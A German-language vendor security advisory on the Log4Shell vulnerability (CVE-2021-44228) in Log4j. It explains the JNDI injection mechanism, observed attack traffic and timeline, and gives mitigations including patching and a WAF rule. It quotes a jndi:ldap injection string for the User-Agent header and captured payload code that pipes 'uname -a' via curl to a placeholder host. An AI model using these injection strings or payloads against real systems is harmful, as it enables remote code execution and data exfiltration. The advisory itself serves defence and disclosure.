Mehr zum Thema: Log4Shell - 0Day RCE-Ausnutzung in Log4j gefunden
Was Sie wissen müssen:
Diese Sicherheitslücke wird bereits aktiv ausgenutzt, ermöglicht die Ausführung von Remotecode und ist leicht auszunutzen.
Es ist ein Patch verfügbar, und Sie sollten es sofort installieren.
Unsere Next-gen-WAF-Kunden können eine vordefinierte Regel aktivieren, um sich vor dieser Sicherheitslücke zu schützen.
CVE-2021-44228 ist eine Sicherheitslücke für Remote-Codeausführung in der Apache Log4j-Bibliothek, einem Java-basierten Protokollierungs-Tool, das in Anwendungen auf der ganzen Welt weit verbreitet ist. Diese Sicherheitslücke erlaubt es einem Angreifer, der die Protokollnachrichten kontrollieren kann, beliebigen Code auszuführen, der von einem vom Angreifer kontrollierten Server geladen wird. Wir gehen davon aus, dass die meisten Anwendungen, die die Log4j-Bibliothek verwenden, diese Bedingung erfüllen.
Was sind die Auswirkungen?
Die Auswirkungen sind weitreichend, da Log4j eine weit verbreitete Protokollierungsbibliothek ist, die in den meisten Java-Anwendungen und auch in Geschäftssystemen zur Aufzeichnung von Protokolldaten verwendet wird.
Es gibt einige Faktoren, die die Wahrscheinlichkeit eines weit verbreiteten Angriffs erhöhen: Bei der Sicherheitslücke handelt es sich um eine RCE, die schon lange existiert, die Bibliothek ist weit verbreitet, und selbst ungeschickte Angreifer könnten sie auslösen.Ransomware-Betreiber, die gehofft hatten, Unternehmensteams während der Feiertage zu überrumpeln, haben gerade das perfekte Geschenk vom Weihnachtsmann erhalten.Berichten zufolge ist bereits ein Cryptominer im Einsatz, der diese Sicherheitslücke ausnutzt und weniger als 24 Stunden nach der Veröffentlichung eines POC aufgetaucht ist.
Die Entwickler könnten im Allgemeinen davon ausgehen, dass ihr Logging-Framework Nachrichten nur als Daten behandelt und grundlegende Formatierungen vornimmt.Bei Log4j 2.0 wurden jedoch Lookups hinzugefügt, einschließlich JNDI-Lookups.Diese JNDI-Lookups waren nicht eingeschränkt, was zu der Sicherheitslücke führte.
Die Java Naming and Directory Interface (JNDI) ist eine Java-API für einen Verzeichnisdienst, die Ihnen eine Schnittstelle zu LDAP oder DNS bietet, um Daten und Ressourcen abzurufen. Leider ist einer der Datentypen, die zurückgegeben werden können, ein URI, der auf eine Java-Klasse verweist – und wenn Sie eine nicht vertrauenswürdige Java-Klasse laden, dann führen Sie unwissentlich den Code einer anderen Person aus.
Selbst das Protokollieren einer Nachricht wie
log.info("this is a security nightmare! {}", userInput)kann einen LDAP-Fernaufruf auslösen, der die Instanziierung einer bösartigen Java-Klasse bewirkt.
In Produktionsumgebungen ist es üblich, HTTP-Informationen zu protokollieren.Ein Beispiel aus der Praxis für dieses Problem wäre:
log.info("Request User-Agent: {}", userAgent);Wie der Angriff funktioniert:
Nach dem anfänglichen Einfügen der jndi:-Zeichenfolge folgt ein URI, um auf die sekundäre Nutzlast zuzugreifen, die die Befehlsausführung bewirkt.
Der Angreifer würde eine anfängliche jndi:-Einfügung konstruieren und sie in den User-Agent-HTTP-Header einfügen:
User-Agent: ${jndi:ldap://<host>:<port>/<path>}Nun wird die anfällige Log4j-Instanz eine LDAP-Abfrage an den enthaltenen URI stellen.Der LDAP-Server antwortet dann mit Verzeichnisinformationen, die den sekundären Nutzlastlink enthalten:
dn:javaClassName: <class name>javaCodeBase: <base URL>objectClass: javaNamingReferencejavaFactory: <file base>Die Werte javaFactory und javaCodeBase werden dann verwendet, um den Objektspeicherort zu erstellen, der die Java-Klasse enthält, die die endgültige Nutzlast darstellt.Schließlich wird die Java-Klasse in den Speicher geladen und von der anfälligen Log4j-Instanz ausgeführt, womit der Pfad der Codeausführung abgeschlossen ist.
Das Fastly Security Research Team hat außerdem erfolgreich eine arbiträre Möglichkeit nachgestellt, die Ausführung von DNS-Anfragen durch die anfällige Log4j-Instanz zu erzwingen, indem folgende Zeichenfolge verwendet wird:
${jndi:dns://<dns server>/<TXT record query string>}Derzeit ist nicht klar, ob DNS einen Pfad zur Ausführung von beliebigem Code bietet, aber es kann verwendet werden, um nach der Sicherheitslücke zu suchen oder sogar Daten über DNS zu tunneln, wenn andere Sicherheitskontrollen die Kommunikation blockieren (z. B. eine Firewall-Regel für ausgehenden Datenverkehr).
Auswirkungen
Für die Durchführung des Angriffs sind zwar Tools erforderlich, die für einige Angreifer ungeläufig sind, aber der endgültige Pfad zur vollständigen Codeausführung über LDAP ist nicht schwierig.Wir haben bereits erlebt, dass Angreifer ihr Wissen und ihre Fähigkeiten innerhalb des ersten Tages erweitert haben, und das wird sich fortsetzen.
Bei der Suche nach Angreifern, die diese Sicherheitslücke ausnutzen, hat es sich als hilfreich erwiesen, das Tool ldapsearch zu verwenden, um die endgültigen Speicherorte der Nutzlast aufzuzählen und nach potenziellen Angriffspunkten zu suchen.Wir haben mehrere endgültige Nutzlasten abgerufen, auf die LDAP-Antworten verweisen, bei denen es sich offenbar um Tests handelt und die Code wie den folgenden enthalten:
String payload = "uname -a | curl -d @- http://<host>";String[] cmds = {"/bin/bash", "-c", payload};java.lang.Runtime.getRuntime().exec(cmds);class Exploit { static { try { Runtime.getRuntime().exec("touch /tmp/pwned"); } catch(Exception e) {} }}Wie bereits erwähnt, zeigt dies jedoch deutlich die Möglichkeit, mehr bösartigen Code auszuführen.
Was wir bisher beobachtet haben
Der jndi: URI-Trigger muss von Log4j protokolliert werden, um den Bug auszunutzen.Wir haben beobachtet, dass Angreifer die Zeichenfolge in eine Vielzahl von HTTP-Headern einfügen, um dies zu erreichen, wobei User-Agent bei weitem die häufigste Position ist.Wir haben aber auch Angreifer beobachtet, die in den ersten 24 Stunden nach der Veröffentlichung versucht haben, die böswillige Einfügung in jedem Header, der beliebige Zeichenfolgen enthalten kann, und sogar in den URI-Pfad selbst einzufügen.Wir haben die Zeichenfolge jndi: sogar in POST-Bodys beobachtet, die weniger häufig protokolliert werden.
Alles in allem bedeutet dies, dass die Angreifer eindeutig alle möglichen Wege ausprobieren, um nach Callbacks zu suchen (d. h. eine erfolgreiche Kontrolle durch die vom Angreifer bereitgestellten Argumente).Wenn Angreifer so aktiv und schnell Forschung und Entwicklung in die Ausnutzung einer Sicherheitslücke investieren (was nicht auf jeden 0day zutrifft, der bekannt wird), kann man davon ausgehen, dass Angriffskampagnen, die die Sicherheitslücke auf skalierbare oder automatisierte Weise ausnutzen können, schnell entstehen werden.
Zeitlicher Ablauf
Am 24. November 2021 wurde Apache vom Alibaba-Cloud-Sicherheitsteam über die Log4j-Sicherheitslücke für Remote-Codeausführung informiert.Der Machbarkeitsnachweis der Ausnutzung wurde dann am 9. Dezember 2021 um 15:32 Uhr GMT auf Github gepostet, und 82 Minuten später gab es die ersten Versuche, Callbacks auszulösen.
Zunächst versuchten die Angreifer offensichtlich, die Ausnutzungsmöglichkeiten zu verstehen, da sie ihre ersten Angriffe schlecht gestalteten. Einige der LDAP-URLs wurden sogar fälschlicherweise von einem HTTP-Server bereitgestellt.Wenn beispielsweise ein Versuch mit {jndi:ldap://example.com:1234/callback} unternommen wurde, gabhttp://example.com:1234/callback Daten zurück.
Wie bei jedem weit verbreiteten Bug nahm die Zahl der Scans im Laufe des ersten Tages erheblich zu, und die Angreifer lernten eindeutig, wie sie sich durch die Aufzeichnung der Callbacks durch große Mengen von Anwendungen, die die Sicherheitslücke enthielten, bewegen und diese identifizieren konnten.
Dieses Diagramm zeigt die Trendlinie der jndi:-Callback-Einfügungen über die ersten 24 Stunden der Störung, wie von Fastly gesehen. Wie Sie sehen können, war der Zuwachs beträchtlich.Ein weiterer bemerkenswerter Trend ist, dass die Angreifer innerhalb von 18 Stunden ihre Methoden verbesserten und die Zahl der ordnungsgemäß konfigurierten LDAP-Server zu wachsen begann.Dadurch konnte der Angreifer die Callbacks auf sekundäre Nutzlasten umleiten, die auf HTTP-Listenern gespeichert waren.
Während sich der erste Tag der Ausnutzung auf das Scannen und Auflisten konzentrierte, werden mit Sicherheit weitere schädliche Ausnutzungen folgen.
Was Sie tun sollten:
Idealerweise sollten Sie sich ein Bild von der Sicherheitslücke und dem Risiko machen, das sie für Ihre Umgebung darstellt, um die Voraussetzungen für die Behebung zu schaffen.Wir sind uns jedoch darüber im Klaren, dass die Frage, wo diese Sicherheitslücke zu finden ist, noch eine große Herausforderung darstellt. Es kann sicherer sein, davon auszugehen, dass dieses Problem in Ihren Anwendungen vorhanden ist, und daher ist das Patchen die beste Maßnahme, da es das Risiko der Codeausführung beseitigt.
Eine andere Möglichkeit ist zu prüfen, ob Ihre Version von Log4j die Ausführung der JVM mit JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true unterstützt, um die Lookup-Funktionalität zum Remote-Server zu deaktivieren.Dies sollte für die Versionen 2.10.0 bis 2.15.0 gelten.Für Versionen von 2.0-beta9 bis 2.10.0 besteht die Abwehr darin, die Klasse JndiLookup aus dem Klassenpfad zu entfernen: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Unsere Next-gen-WAF (die Signal Sciences WAF) kann diese Sicherheitslücke erkennen. Wenn Sie ein Next-Gen-WAF-Kunde sind, können Sie auch die folgenden Schritte ausführen, um eine vordefinierte Regel zu aktivieren, die Sie vor der Ausnutzung von CVE-2021-44228 schützt.
Navigieren Sie zu den vordefinierten Regeln und suchen Sie CVE-2021-44228:
Klicken Sie auf „Configure“ und aktivieren Sie Block requests from an IP immediately if the CVE-2021-44228 signal is observed.
Wir können für unsere Legacy-WAF-Kunden VCL-basierte Abhilfemaßnahmen gegen diese Bedrohung bereitstellen. Wenn Sie Unterstützung bei der Anwendung dieser Konfiguration wünschen, wenden Sie sich bitte an unser CSOC unter securitysupport@fastly.com.
